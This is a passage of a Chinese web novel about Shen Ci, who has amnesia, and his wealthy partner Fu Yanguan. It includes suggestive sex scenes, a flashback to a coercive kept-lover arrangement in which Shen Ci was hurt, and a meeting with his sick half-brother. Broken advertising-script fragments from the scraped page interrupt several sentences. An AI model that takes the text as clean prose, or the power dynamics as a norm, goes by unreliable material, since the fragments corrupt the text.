从在医院的那次,沈辞就看出来了,傅砚观表面看起来是个性冷淡,可其实他玩儿的花样多着呢。 沈辞不敢想,以前的自己得多惨。没得痔疮都是老天眷顾。 “想什么呢?” 傅砚观有几分不悦,抓着沈辞肩膀把人又往上提了几分,随后像是惩罚一样动作更快了些。 “嗯...”沈辞有些吃不消,他实在想不明白,傅砚观脑子里想的都是什么。 这架钢琴少说也得有几百万吧? 就这么嚯嚯了? 再次走神,屁股立刻挨了一巴掌,沈辞吃痛,连带着身形也不稳了。 钢琴发出一连串的杂音,没等沈辞抱怨,房间门就被推开了。 “我说你们干啥呢?傅砚观你手生了?琴都不会弹了?知不知道已经...” 秦溯的声音逐渐小了下来,三人面面相窥,随机沈辞爆发出一声尖叫,狼狈的从琴上爬下来,就近钻到了琴底下。 秦溯有些尴尬:“那个...不是故意的...” 傅砚观沉了脸:“滚。” 房间门再次关上,但事情被打断后,两人也都没了兴趣,傅砚观有些懊恼,连忙弯下腰去看沈辞。 “抱歉。”看着沈辞那张越来越冷的脸,傅砚观真诚道歉,“之前没带其他情人回来过,没想到锁门。” 要是不解释还好,一解释就更乱了。沈辞敏锐的捕捉到那句‘其他情人’他皱着眉从钢琴底下转出来,紧盯着傅砚观:“什么叫其他情人?你还有其他情人?” “不是。” 傅砚观想解释,结果还未说完就被打断。 沈辞不依不饶:“就算没有其他情人,那我呢?你把我当成了你养着的小情儿?” “没有这个意思。”傅砚观确实有些理亏,因为沈辞说的可不就是真相,从前这人就是他养在身边的小情儿,如今小情人转正了。 但总有口误的时候。 “我先抱你去洗澡,过会儿再跟你解释行吗?” 沈辞没有言语,他紧盯着傅砚观,双手背到身后,摸着手腕上傅砚观戴上来的佛珠。 许是这个东西真的能让人平心静气,沈辞没再跟傅砚观吵,但也拒绝了他抱他去洗澡。 一场展开一半的情事被莫名其妙打断,沈辞也有些不爽,再加上傅砚观脱口而出的那些话,不由得让沈辞陷入怀疑中。 前些天消下去的疑惑又开始冒头了。 洗完澡后,沈辞换了新的睡衣,本来之前想做完就要吃很多好吃的的人也不饿了。 他神色恹恹的走出浴室,原本不知道怎么面对傅砚观,结果出去后根本没看见人。 钢琴已经被收拾干净了,尽管之前做了别的事情,现在看起来依旧还是那般圣洁。 沈辞趴到床上,赌气般的将傅砚观的那件大衣扔到一边。脑袋里似乎有两条线,一会儿相交一会儿断开。 他突然在想,他这样的家庭,这样的父母,是怎么和傅砚观认识的?就算是认识了,傅砚观又怎么会喜欢他呢? 他真的是傅砚观的男朋友吗? 脑海中有一个身影离他越来越近,越来越近,他听到他说:“这个人我要了。” 什么人?什么要了? 沈辞迫切的想要看清,可眼前就像是有一团迷雾,他越是努力,那雾就越深,并连带着头也跟着疼了起来。 “唔...”沈辞抬手捂住脑袋,在床上缩成一团,五官也跟着皱到一起。 他疼的难受,想要开口喊傅砚观,可话到嘴边后,又实在吐不出来。 就这样不知道熬了多久,沈辞疼的翻来覆去时,一声叹息传来,随后一只温热的手把沈辞搂进怀里。 “怎么疼成这样?刚才用冷水洗澡了?” 傅砚观替沈辞揉着隐隐作痛的头,不知是手法不错,还是傅砚观身上有一种魔力,沈辞竟觉得好了不少。 他枕着傅砚观大腿,闷声道:“就是...刚才想回忆一下以前的事,但是我想不起来,一拼命想头就疼。” 沈辞没有听到傅砚观的回答,他将眼睛睁开条缝隙,竟捕捉到了对方眼里的心疼。 见沈辞睁眼,傅砚观才道:“过去的事不着急想起来。” “可是我想知道,傅砚观,我不知道是不是记忆混乱了,我认为你是我男朋友,可其实...是不是我只是你养的一个小情人...我...” 话没说完,眼泪就掉了下来。 傅砚观伸手接住沈辞眼角滑下来的泪。 “胡思乱想什么呢?其实我刚才说的话也没有不对,你难道不是我的小情人吗?男朋友和小情人好像并不冲突。” 傅砚观始终神色如常:“你想知道什么我告诉你就是了,别自己用力去想。” 沈辞皱着的眉松了些:“那...我们是...正常恋爱吗?” 傅砚观道:“当然,有一次我去祈江市电影学院讲座,正好碰见你了,你嘴里啃着鸡腿,直接撞到我身上,油蹭了我一身。” 沈辞眨了眨眼睛:“然后呢?” “然后就加了联系方式,你说之后会把钱赔给我,但是我那件衣服一万八,你就问我能不能换一种东西赔。” “再之后,我觉得你有趣,就开始追你,结果你比较好追,没多久就答应了。” 沈辞道:“是你追的我?” 记忆混乱是只针对傅砚观一个人的,所以学校的记忆他还是有的,那个时候他总是被人欺负,唯唯诺诺的,这样的他...傅砚观也看的上? 可是如果不是傅砚观讲的那样,又是什么样呢? 这个话题傅砚观不想多聊,他伸手摸了下沈辞肚子,皱起眉道:“怎么出了这么多汗?” 沈辞稍稍做起来些,解释道:“可能是头疼的原因吧。” “下次不许再想这些了,要是有想知道的就过来问我。” 沈辞疼了一遭也不愿再疼第二次了,他没什么精神的点了下头,随后肚子就“咕噜咕噜”的叫了几声。 一整天都没吃东西了,能撑到现在对于沈辞来说已经是不易了。 但刚疼了一遭,又经历了被人撞见那种事的尴尬,沈辞还是缺了些胃口,他打了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 个哈欠,翻身把自己裹到被子里。 “有牛奶吗?我想喝一杯睡觉了。” 傅砚观点头:“有,我去给你热,那...晚饭不吃了吗?” 沈辞晃了晃头,他扯着被蒙住脸,疲惫的长出了口气。 这一天经历的都是什么事啊。 就在沈辞闭上眼睛准备休息的时候,门外又来了位不速之客,只不过这次秦溯学会敲门了。 他听到傅砚观让人进来。 沈辞想,还好他提前蒙住脸了,不然又得找个地缝钻进去了。 这次秦溯很谨慎,确认了两人都穿着衣服后才推开门走进来。 沈辞一动不动的装尸体,他已经想好了,不管秦溯和傅砚观干什么,他都不搭话,也绝不动一下! 秦溯瞥了眼沈辞,有些疑惑,但也放低了声音:“他这是...睡了?那烤全羊还吃吗?我都放好辣椒了。” 傅砚观道:“他不吃了,估计是累了,一会儿直接睡了。” 蒙在脸上的被子突然往下移了几分,沈辞闷声道:“什么...烤全羊?” 傅砚观强压着嘴角,道:“知道你喜欢吃,下午的时候秦溯去镇上买的,烤了一下午呢。不过没事,累了就睡吧。” 沈辞刚才气急了都没在心里骂傅砚观,可现在却开始问候傅总的十八代祖宗了。 这么大个董事长,情商这么高,怎么就不知道给他个台阶下呢? 沈辞深吸了一口气,决定自己给自己搬台阶。 “我其实也不是很累,而且你们两个吃饭肯定也没意思,我还能...还能陪你们喝点。” 沈辞说完就下了床,半点不给傅砚观反悔得机会,由于没来得及穿拖鞋,被傅砚观提醒了句,又回过身拎着拖鞋往外跑。 好像晚去一秒,羊就跑了。 秦溯在后面看的直乐,对傅砚观道:“你家这个,真没出息。” 傅砚观脸上也带着几分笑意,把责任揽到自己身上:“我的错,之前饿着他了。” 秦溯双手插兜,同傅砚观一起往餐厅走,随口问道:“那你是怎么想的,真打算和他过一辈子?和男人和女人其实无所谓,只是就算是男人是不是也得找个家境差不多的?就算不说傅家,那单说你,身价千万,手底下公司上市,员工几千。” “你再看看沈辞,他有什么?有个比牛大的胃吗?还是有个比作精还作的性格。” 秦溯越说越觉得两人不可行,虽然现在他对沈辞没有那么大的意见了,但是依旧不妨碍他觉得沈辞配不上他兄弟。 秦溯嘴说个不停,结果在路过拐角时差点被自己说出口的话闪了舌头。 沈辞背靠着墙,一眨不眨的盯着秦溯,头一次秦溯被看的有些心虚。 这下轮到他想找个地缝钻进去了,他不明白,怎么每次说沈辞坏话,都能被人抓个正着? “那个...” 秦溯试图开口解释两句,结果沈辞已经瞪像傅砚观了,不仅眼神攻击,还伸手拧了傅砚观一下。 训斥道:“我是不是管你管的太轻了?从今天开始,家规上再加一条,不许跟狐朋狗友玩儿!尤其是姓秦的!” 16.傅总花样真多 沈辞就差指名道姓的骂了,秦溯摸了摸鼻子难得没有反驳,因为抛开其它不谈,他好像确实是有点狐朋狗友的属性。 沈辞几次和傅砚观发生矛盾好像都是因为他。 “那个....”秦溯再次举手,试图解释一下。 但沈辞依旧没给他开口的机会,转身就走,见傅砚观没有跟上来,回头道:“你还站在那干什么?我要吃羊腿。还要调一份我喜欢的调料。” 傅砚观看了眼秦溯,后者立刻会意,小跑着跟上:“我来,我来,您想吃什么尽管吩咐,我切好了给您端上来。” 秦溯的示好另沈辞有些意外,虽然心里有气但是也没拒绝。 下午来时心情太差,导致沈辞也没留意这座小院,现在看过去,竟然处处都合他的心意。 他偷偷问傅砚观:“这是你的房子吗?还是你们一起的?” 如果只是傅砚观的,那四舍五入也可以是他的,如果闲下来还可以到这住几天。 沈辞紧盯着傅砚观,直到这人说出他想听的答案。 而傅砚观一直观察沈辞的神色,见沈辞双眼泛光,便开口道:“喜欢就给你,等你摩托证考完,我在给你买辆摩托,到时候想过来时方便些。” 沈辞就差直接眼冒星星了,傅砚观说给他,他就笑呵呵的应下,半点没推拒。因为在他眼里,他是要跟傅砚观过一辈子的,他的就是傅砚观的,不管在谁名下都是共有的。 至于为什么还想要过户,则是因为那点点的虚荣心。在学校的时候大家都看不起他,为此受了不少欺负,而他一向是个记仇的人。 不争馒头争口气!! 羊是在外面烤的,烤好了才端上来,沈辞刚走到餐厅,就看到了桌面上的烤全羊。 记忆中这好像是他第一次吃烤全羊,小时候家里穷没有机会,后来跟着舅舅也不敢提过分的要求,每天省吃俭用的,别说烤全羊了,能吃饱饭就不错了。 “来,辞哥,整个羊腿都给你。” 秦溯手法熟练的割下一条羊腿,放到沈辞面前,见人站着,又狗腿的拉开椅子。 本来沈辞心里的气已经要消了,结果下一秒就听到... “这凳子是不是有点硬?你这刚做完,屁股?” “.......”一瞬间,沈辞脸颊再次爆红,他僵在原地,看向秦溯,而对方正一眨不眨的盯着他屁股看,就好像在思考里面是什么光景一样。 沈辞淡淡开口:“秦先生有喜欢的人吗?” 秦溯抬起头,认真想了想:“没有,目前还没遇到值得我喜欢的人,不过小情儿倒是养了两个。” “嗯。”沈辞坐到椅子上,再次瞥了眼傅砚观。 看来他没冤枉他,秦溯就是狐朋狗友。 对待感情十分认真的沈辞目前还不能理解那些上层圈子里的肮脏事。在这些人眼里,只要有钱就什么都能解决,对于那些身份不如他们的人更是想作践就作践。 有些人谈生意,甚至会把人当成物品送来送去。 就连傅砚观床上都被送过人。 羊腿的香味短暂的打断了沈辞的思路,傅砚观贴心的给人摆好刀叉,但沈辞已经直接上手抓了。 秦溯和傅砚观对视了一眼,虽没做过这样的事情,但也随着沈辞一起。提前准备好的餐具都用不上了。 秦溯搬了箱酒过来,递给沈辞一瓶,先给了个台阶:“我给你赔个不是,都是大男子,喝个酒就算过去了嗷。” 沈辞嘴里塞的满满的,羊腿已经啃了大半,蹭了一脸的油,他接过秦溯递来的酒,开口道:“那总要有点诚意。” 秦溯懂得酒桌那套,又应酬惯了,当即就拉开盖子,一引而尽。 沈辞看了眼一旁给他剔肉的傅砚观,道:“你陪一个。” 傅砚观抬眼:“我刚出院,你让我喝酒?” 好像...有点道理。 沈辞沉默,抬眼间瞥见吧台上的牛奶,还没等认真思考,身体就已经做出行动,跑回来时手里拿着几大瓶牛奶。 “陪一个。” 要是到这个地步傅砚观还不明白,就别做什么董事长了。怕是因为刚才的事,沈辞对他也有气。 傅砚观认命的给自己倒了杯牛奶,同秦溯一样一饮而尽,等到一左一右的两个人都喝的干干净净后,沈辞才起开瓶啤酒。 男人总是个神奇的物种,好像不管有天大的恩怨,只要一起喝一顿酒就会所有恩怨都消了一样。 傅砚观不知道沈辞酒量如何,但看上次从警局出来也没怎么醉,估计也还不错。 只是他到底高估了这人,酒量不错,不代表酒品好。 沈辞是个嘴馋的,一边喝酒一边啃羊腿,在秦溯大方的把另一只羊腿也放到他面前后,他对秦溯的意见瞬间小了不少。 他拍了拍秦溯肩膀,语重心长的道:“小溯溯,哥哥告诉你,宁拆十座庙,不毁一桩婚。你说你,没事总是劝分干什么?如果傅砚观真的不要我了,那你得对我负责!再给我找一个比他好一百倍的男朋友!” 沈辞说着说着就红了眼睛。 而一旁的傅砚观脸色则是越来越黑。 他拧眉,不悦的开口:“那你估计是找不到了。” 傅砚观的话没有得到回应,沈辞和秦溯都有些喝多了,一个胡言乱语,一个晃晃悠悠拿不住杯子。 “要我说,谈恋爱还是最没有用的,时不时还要吵一次架多没劲,还不如包养一个,拿钱砸,只要钱到位,他肯定事事都顺着你,不敢说一个不字。” 沈辞认真的听着,原本想反驳,可听到最后突然发现秦溯说的有道理。 “那...那给我也包养一个呗,我想要长的好看的,脾气要温和的,嗯....尺寸,尺寸要比傅砚观小点的,他的...太疼了!” 沈辞边说边看向傅砚观,而秦溯也跟着看了过去。 二人视线齐齐聚集在傅砚观双腿中间。 一向面不改色的人突然觉得沈辞说的对,他是应该少交一些狐朋狗友,这不,有个小孩儿就已经被带坏了。 酒过三巡,沈辞吃的肚子圆鼓鼓的,而面前的羊也仅剩下一些骨头,他吃的有些撑,脑子也开始不转了。 在困意来临后歪到桌子上就想睡觉。 只是还没等闭眼睛,就一阵天旋地转,下一秒便被人抗在了肩膀上。 “唔....” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沈辞被傅砚观一路抗回卧室,本就吃的很饱的人在这个姿势下越来越不舒服,沈辞用手锤着身下的人,试图抗议。 最后扑腾狠了的结果就是屁股上挨了一巴掌。 被打疼了的人,先是愣了一秒,而后闹腾的更欢了。 “你太过分了!!我不要跟你回去,我要包养其他人!!” 在沈辞看不见的地方傅砚观脸色越来越黑了。 餐厅到卧室的距离不近,沈辞被扛了一路,难受确实不是作假,并且到了一定的极限。 “唔...我想吐...” 傅砚观微愣,还是将人放下来了,只是改成抱着,直到扔到卧室床上。 他居高临下的看着沈辞,将已经要睡着的人拉起来,板着脸道:“你越来越放肆了。” “想包养别人,不如说给我听听,让我看看什么样的人能入的了你的眼。” 傅砚观越说越气,不光是脸板着,就连眼底都布满了一层寒冰,抓着沈辞的手越收越紧。 然而下一秒,寒冰消融,脸上也不再是严肃的表情。傅砚观看着抱着他一顿乱亲的人半天说不出话来。 沈辞仰着头,目光有些不聚焦,但还是努力的盯着傅砚观看,直到双手捧住傅砚观的脸。 两人的距离很近,沈辞呼出的气都喷洒在傅砚观脸上,酒香夹杂着一些别的味道,按理说傅砚观不喜欢酒味,可却莫名的不反感沈辞身上的味道。 “只喜欢...傅砚观。” 沈辞头脑不清醒,只凭借着心里最真实的想法表达。而下一秒就被抱了个满怀,铺天盖地的吻落了下来。 “沈辞,再叫一声下午的称呼。” “嗯?”喝醉的人被吻的疯狂喘着粗气,由于大脑反应迟钝,半天才道出傅砚观想听的称呼。 眼前的沈辞不再像下午那样撩人,而是显得有些呆萌,他缓缓开口道:“爸爸...” - 次日清晨,沈辞一会儿按着发疼的头,以后又扶着散架的腰。等从卫生间出来时,整张脸都皱到了一起。 “傅砚观....”沈辞缩到对方怀里,委屈的道,“我屁股疼。” 他昨晚醉的厉害,对于发生的事都有些模糊,但也大致有点印象,他知道面前的这个男人像疯了一样抓着他发了一晚上的疯。 有一瞬间,他感觉傅砚观是不是想弄死他。 昨晚情欲上头的人,现在也冷静了下来,他将沈辞抱回床上,道:“我让秦溯买了药膏,给你擦点。” 原本只有一半委屈的人在听到这话后,这一半也变成了很多个。 “为什么要他去买?你们董事长是凡事都得吩咐身边人吗?” 傅砚观伸手揉了揉沈辞脑袋,安抚炸毛的人:“我不是不放心你吗,怕你醒了看不见我。” 沈辞小声吐槽:“谁稀罕看见你啊。” 傅砚观挑眉,把沈辞揉进怀里:“不过你现在怎么这么脆?之前不是还缠着我要吗。” 沈辞以为傅砚观在开玩笑,立刻道:“怎么可能!!这么疼,就算是想...也不会那么多次。” 傅砚观闻言怔住,思绪不由得飘回以前。 17.应该和沈辞分手吗? 沈辞被傅砚观包养的这六年中,其实只有前两年傅砚观是对沈辞上心的,那时候傅砚观还在创业,但也会分出闲暇时间来关心沈辞。 比如在学校需要家长参加活动时,在沈辞一个人听着同学嘲讽时突然出现,背对着阳光勾住沈辞肩膀大方的和其他人交流。 相比于其他金主,傅砚观真的很好很好,不管是前期的格外关心和照顾,还是后面的因为工作的疏忽。他从未让沈辞做过特别过分的事情,也没有欺辱过他。 要知道,在这个圈子里,一个被包养的人能有什么立足的地方,富人之间的游戏恶心又可怕,上一秒将一个人当成所有物,下一秒就能当成物品转送他人。 被玩坏的人大有人在。 沈辞不知道的什么时候喜欢上傅砚观的,可能是那次活动,也可能是周末放假,他站在学校,在倾盆大雨下傅砚观执伞而来,抱着瑟瑟发抖的他,说:回家泡个个热水澡,别感冒了。 家这个字在沈辞耳边回响了很久。 那天的雨很大,黑色大伞偏向沈辞,另一边是傅砚观打湿的肩头。 沈辞将伞扶正。 他想傅砚观应该也是喜欢他的,不然为什么要对他这么好? 那时候他觉得自己的日子似乎好了起来,就像是一只流浪街头的流浪狗,找到了收养他的主人。 但好景不长,傅砚观越来越忙,回家的次数越来越少,沈辞很久才能见傅砚观一面。 实在想的狠了,他会用一晚上的时候去做心理准备,然后鼓足勇气给傅砚观发去一条微信。 他说,周末学校组织春游,可以带家属。问傅砚观要不要一起去。 打出家属两个字的时候,沈辞心跳如雷,紧张的抓着手机,每来一条消息都紧张的要命。 那天他等了很久,久到天都黑了才等来傅砚观的消息。 手机上的光刺的他眼睛发疼,疼到掉了眼泪。 从前傅砚观为了照顾他那可怜的自尊心,总会主动给沈辞发消息,更是每次都有各种表情包。而这次,只有冰冷的一行文字。 你能不能懂点事? 从那之后,沈辞感觉到了危机感,他怕傅砚观会不要他,因为他想不到更好的去处了。 他没有钱,也不懂游戏,能帮上傅砚观的很少很少。 他在考虑自己的价值,在想怎么才能不被丢弃。 所以他用自己唯一能做的事去讨好傅砚观。 那就是身体。 在确认傅砚观什么时间回来后,他提前做好准备,尽力到细枝末节都是按照傅砚观的喜好。 他缠着傅砚观,不停的要,不停的继续,那天也下了很大的雨。 他们在厨房、在卧室、在沙发上,沈辞抖的不行,但手却死死的抱着傅砚观。 而傅砚观累了一天,下手不轻,在沈辞身上留下不少痕迹,他把人按在窗边,问道:“怎么这么饥渴?” 那时的傅砚观以为是在满足沈辞,在结束后,疲惫的躺到沙发上,吩咐着:“去拿个毛巾给我擦擦身体。” 两人做这种事向来是不开灯的,所以傅砚观始终不知道,那天沈辞哭的很惨,也不知道在沈辞跪在他身边给他擦身体时,下面还在流血。 - “傅砚观?” “傅砚观??” 沈辞叫了几次走神的人,有些疑惑:“你想什么呢?喊你半天都不答应。” 傅砚观回神,有些僵硬的扯了个笑出来,似乎为了抚平心口的疼痛,他再次开口询问:“很疼吗?” 沈辞点了点头,如实的道:“很疼,所以你下次不许这么多次了,趁人之危更不行。” 傅砚观点了下头,久久未语。 在这方面他确实从未克制过,也从没想过沈辞会不会疼,好像在他的潜意识里,这样做是没有问题的。 傅砚观突然意识到一个可怕的问题,是不是在他眼里,沈辞能做的就只有这些。他在沈辞身上付出了金钱,所以也索取回报。 理所当然的认为这样做是没有问题的。 无形之中他是不是也在把沈辞当成商品,并未给与尊重。 同时也在估算价值。 “傅砚观。”沈辞拧眉,再一次叫人,“你今天怎么回事?一直在走神,昨天没休息好吗?” 傅砚观摇头:“我只是在想过去有很多事情都做错了。沈辞,我向你道歉,我会改。” 沈辞眉头越皱越紧:“干什么说的这么正式?我又没有怪你。” “该正式一些的。” 六年,傅砚观不敢想,这些日夜里,沈辞要受多少委屈。虽然失忆是磕到头导致的,但为什么独独把他忘了? 是委屈到了极致,大脑不愿意接受这个结果,开启了保护机制。 而既然这样,傅砚观突然不知道,他是应该继续抓着沈辞,还是应该放他走。 - 三人在小院住了一个星期,这里空气好,娱乐设施也齐全,就算是一直不出门也不会无聊。 沈辞来了兴致就和秦溯打打台球,傅砚观坐在一旁工作,倒也算得上是岁月静好。当然过程中肯定不会一帆风顺,互相看不顺眼的人总会吵两架。 但秦溯对于沈辞的印象也改观不少,与其是在知道医院发生的事情后,不仅痛骂了沈长余好几次,还把沈辞列为了我方阵营。 并指着沈辞鼻子骂,说千万不能心软,不能把肾给出去。 沈辞揉了揉鼻尖,闷声道:“我又不傻,我最怕疼了。” 就算不怕疼,他想,沈唯一受得起他一颗肾吗? 回祈江市的那天下了很大的雪,傅砚观和秦溯要回公司,原本想把沈辞也一起带去,但沈辞却坚持要去车场。 无奈之下,傅砚观只好把人送去。 “这雪越下越大,还能练车吗?” 沈辞嘿嘿一笑,得意的道:“李教练说准备了火锅要我过去吃!” 傅砚观挑眉:“是吗?那他怎么也没说叫我,看来我得打电话问问他,才几天啊,就开始偏心了。” 沈辞也学着傅砚观挑眉,道:“他让我把你带着了,但是我说你没空,而且李教练捡了一只边牧,你不是狗毛过敏吗?我们仨一起吃,就不带你了。” 车里的秦溯开始催促:“傅砚观,赶紧走了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还有二十分钟开会你忘了?回家在腻歪吧。” 傅砚观回了声“知道了”而后替沈辞紧了紧衣服,又不放心的把自己身上的外套脱下来给他。 “不是只有你和李叔吗?怎么是三个?” 沈辞道:“我和李教练,还有边牧啊。” 傅砚观无奈笑笑,又嘱咐了几句后才上车。 沈辞快步走进车场,刚一进去,就有一只黑白花的边牧跑过来,原本沈辞还担心它会仆人,结果只是跑到身边闻了闻,而后竟坐下朝他抬了抬手,像打招呼一样。 李教练披着大衣从屋里走出来,朝那边牧招了招手,下一秒边牧就跑回到李教练身边。 他丢了个球出去,边牧立刻跑去追球,在宽广的车场上撒欢。 李教练招呼着沈辞进屋:“火锅都煮好了,就等着你了。砚观晚上来接你吗?能不能喝点酒。” 沈辞立刻应下:“当然能喝,他不来接我也没事,我打车回去,又不是离了傅砚观活不了。” 二人说说笑笑的进屋,沈辞是个好吃的,看见美食总会走不动路,和李教练一直吃到快天黑才动身准备回家。 有了上次的教训,沈辞没敢喝太多酒,就怕傅砚观再来一次兽性大发,那他可没地方说理去了。 一边朝着车场外面走,一边掏出手机发微信。 沈辞:提醒傅总一下,已经六点半了,如果今晚不想无家可归,您现在应该收拾东西回家了。 消息发出去后没有立刻收到回应,但沈辞也已经习惯了。他见识过傅砚观的工作强度,知道这人不会故意不回,而是真的忙。 走到车场门口,沈辞正准备叫车就看到路边有个人在频繁的朝着车场里面看。 那人坐着轮椅,身上只穿了件单衣,冻的瑟瑟发抖,却还不停的张望,直到看见沈辞。 眼下天已经有些黑了,沈辞见那人朝他过来,心下疑惑,但也上前迎了几步,走到跟前才发现轮椅上的人还是个年纪不大的少年,看起来也就只有十几岁。 他脸色苍白,嘴唇上干的起了白皮,满脸的病态。这样的人出现在车场外面实在是奇怪。 两人互相打量,在沈辞开口前,那少年先一步道:“你是沈辞吗?” 知道他名字? 沈辞有些警惕,但还是如实的回答道:“对,我是沈辞,你怎么认识我?” “天气这么冷,怎么一个人在这?你的家人呢?” 少年抖的越来越厉害,脸色也十分难看,沈辞都怕下一秒这人会晕过去。无奈之下,沈辞只好把傅砚观的那件大衣先借给他。 但已经被冻透了的人,此时就算盖个大厚被也于事无补。 没等到少年回答,沈辞耐着性子又问了一遍:“你的家人呢?这种天气一个人跑出来多危险。” 带着训斥的语气让少年微红了双眼,他攥紧沈辞披给他的大衣,闷声道:“我的家人在这。” “嗯?在这?”沈辞四处看了看,确定没看到人后再次看向少年,只是还没等他开口询问,对方就先开了口。 苍白到没有血色的唇瓣,一张一合吐出两个字:“哥哥。” 18.跑来认哥哥 冷风吹过来,让人打了个哆嗦。沈辞睫毛微颤,下意识的握紧拳头。 他盯着面前轮椅上的少年,一时间忘记了怎么说话,如沈长余所说,他确实只在小时候见过沈唯一,对于这个有着一半血缘关系的人,他早已没了印象,并因为家庭的原因,而对沈唯一心存怨恨。 许是天气太冷的原因,沈唯一突然咳了起了,本就苍白的脸色因为咳嗽反而变的红润了几分。 他拼命的捂着嘴,似乎是怕弄脏沈辞的衣服。 生病的人没有力气,又因为剧烈咳嗽而浑身颤抖。沈唯一不停的喘息着,余光见沈辞始终没有上前的意思,心里有些失落。 “哥哥...”沈唯一抬头,有些怯懦的对上沈辞的目光,不知道该说些什么,只能攥着双手,努力忍着身体的不适和见到沈辞的紧张。 而这时,沈辞也终于回过神来,但始终对于沈唯一叫出口的哥哥置之不理。 他没什么心思和不喜欢的人谈论下去,不管医院的那件事有没有发生,他都认为他和沈唯一没什么话可说。 “我没有认弟弟的习惯,请你注意分寸。”沈辞四周看了看,只想尽快离开这个是非之地,全然没了想帮眼前少年寻找家长的心,反而有些害怕沈长余出现。 瞥了眼沈唯一身上的大衣,沈辞不悦的道:“衣服留给你了,以后别再到这来了。” 见沈辞要走,沈唯一连忙转动轮椅,试图开口挽留:“哥哥...哥,我有...话想...说....咳咳咳...” 身后的少年又咳了起来,沈辞只觉得烦躁,转身踹停沈唯一的轮椅,怒道:“你是听不懂话吗?我不想看见你,怎么?你爸要肾没要到,就换你来了?要打感情牌吗?” “沈唯一,你今年多大了?十几岁了吧,那前十几年怎么不见你跑来叫我哥?现在倒是过来叫上了,装可怜吗?你还要不要点脸?!” 沈唯一张着嘴,眼睛瞪的很大,满眼的不可置信。泪珠子像断了线的风筝一样往下掉,他想要解释,可是却不管怎么努力,都未能发出声音。 沈辞紧拧着皱眉,脸上怒容未消,但也没再说出什么苛责的话。他确实不想再看见沈唯一这张脸,连车都不叫了转身就走。 沈唯一在后面哽咽着开口,磕磕绊绊的道:“没...没有,我只是...只是知道自己要死了,想...见见你。” “哥哥...我没有想...要你的肾...” 身后的人哭的快要背过气去,沈辞依旧没有回头,碰巧这时里边过来一辆出租车,沈辞立刻招手,离开了这里。 手机响了几声,是傅砚观发来的消息。 沈辞面无表情的点开,最先入目的便是一张家里的图片,随后跟着的是一条消息。 傅砚观:准时到家,你呢? 沈辞:马上。 沈辞回了消息后依旧有些心不在焉,他看着窗外,由于车场不在市中心,附近有没有高楼大厦,只有几个路灯在勉强照亮。 每路过一个,沈辞就会数一个,直到没有可以数的了。 最终他还是点开了李教练的微信,发了条消息过去。 - 回到家时已经快八点,客厅里开着电视,正放着前段时间新出的电视剧,里面的一个演员还曾是沈辞大学的同学。 傅砚观端着草莓从厨房出来,原本神色温柔的人在看见沈辞后,脸色瞬间变的严肃。 “怎么了?和李叔吃火锅不应该开心吗?” 沈辞微愣,抬手摸了摸自己的脸,穿着傅砚观提前烘烤过的拖鞋摊到在沙发上:“这么明显吗?” “嗯。” 大颗的草莓全部去了尾巴,傅砚观味道沈辞嘴里,看着对方无精打采的样子,猜测道:“饭菜吃的不合口味?” “不是。”沈辞拒绝了傅砚观喂过来的第二颗草莓,换了个姿势靠到对方身上。 “我累了,想睡觉了。” 沈辞以为傅砚观肯定还会继续问下去,他甚至已经烦躁到想要发脾气了,可对方却什么都没说,只是亲了亲他的发顶,陪着他一起回了卧室。 这一夜,沈辞不停的梦到小时候,沈长余的虐打,母亲梁媛的冷漠,以及沈唯一拿着冰淇淋骑在沈长余脖子上的画面。 他在梦境中不停的挣扎,可偏偏却怎么也醒不过来。 他想,他应该恨极了沈唯一,但最后的梦里驱散那些噩梦的竟然是沈唯一。 他举着冰淇淋,笑着说:“哥哥吃。” 但这画面没持续多久,就又变成了沈唯一坐在轮椅上哭的画面。 “小辞,小辞。” 沈辞迷迷糊糊的睁开眼睛,外面的天早已大亮,他睡了一夜,却仿佛被大货车碾压了一遍,浑身乏累。 他看向叫醒他的傅砚观,见墙上挂钟的时间已经显示九点,连忙问道:“你怎么没去上班?” 一向视工作如命的傅砚观竟然旷工了? “今天公司不忙,我在家陪你。对于昨天的事,我想你应该告诉我。” 沈辞皱眉:“你问了李教练?” 傅砚观点头:“沈唯一去找你了,他跟你说了什么?” 由于沈长余败坏的印象,傅砚观对沈唯一也没有好印象,第一反应就是去找沈辞麻烦的。 但老李却告诉他好像并不是那么回事。 他说那孩子挺可怜的。 对此他不置可否,沈唯一是什么样的人他并不关心,他只想听沈辞说,也只信沈辞的。 “我....” 沈辞有些不知道该怎么开口,做了半天心里准备才问道:“他如果不换肾很快就会死吗?” 傅砚观道:“就算是换肾也不见得能活。换完肾后首先要确保没有出现排外反应,这过程中但凡出现一点问题,他都可能会死。” “而就算平安出院,也注定会免疫力降低,恶心、呕吐,还有可以诱发心肌炎,肾功能障碍。” “这期间所花费的费用就不是沈长余能承担的。” 沈辞许久没有说话,耳边似乎还有沈唯一的哭声,扰的他心烦。 “算了,他的事我懒得管,让沈长余自己去想办法吧。” 沈辞说完就朝着卫生间走,昨天出了一身汗,现在睡衣都粘在身上,不洗个澡是说不过去了。 “小辞。”傅砚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 观叫住人,晃了晃手里的手机,道,“我能联系到医院的人,要去了解下情况吗?” “不要。” 沈辞拒绝的干脆,结果没过几秒就又走了回来,连澡都没洗便跟着傅砚观出了门。 错开了早高峰,车流到不算很多,两人在路上堵了将近二十分钟才到医院。 傅砚观带着沈辞去了医院对面的咖啡店,沈辞正感叹有钱真好,到处都是人脉,结果就看到了赵倩。 “这。” 赵倩抬手,招呼二人过来。桌子上已经放着两本咖啡,一杯是赵倩的,另一杯是赵倩给傅砚观点的。 沈辞看了眼傅砚观,又看了眼那杯咖啡,心里警惕起来。 “我不知道你喜欢喝什么,就没给你点,你自己看看吧,随便点,我付钱。” 沈辞几乎脱口而出:“不用,我和傅砚观有钱。” 叫来服务员,沈辞直接点了两杯拿铁,换掉了傅砚观面前的美式。 赵倩挑眉,道:“他不喜欢喝拿铁。” 沈辞几乎瞬间炸毛,盯着傅砚观,问道:“你喜欢喝什么?” 那架势就好像如果傅砚观回答不对,就会一巴掌抽过去一样。 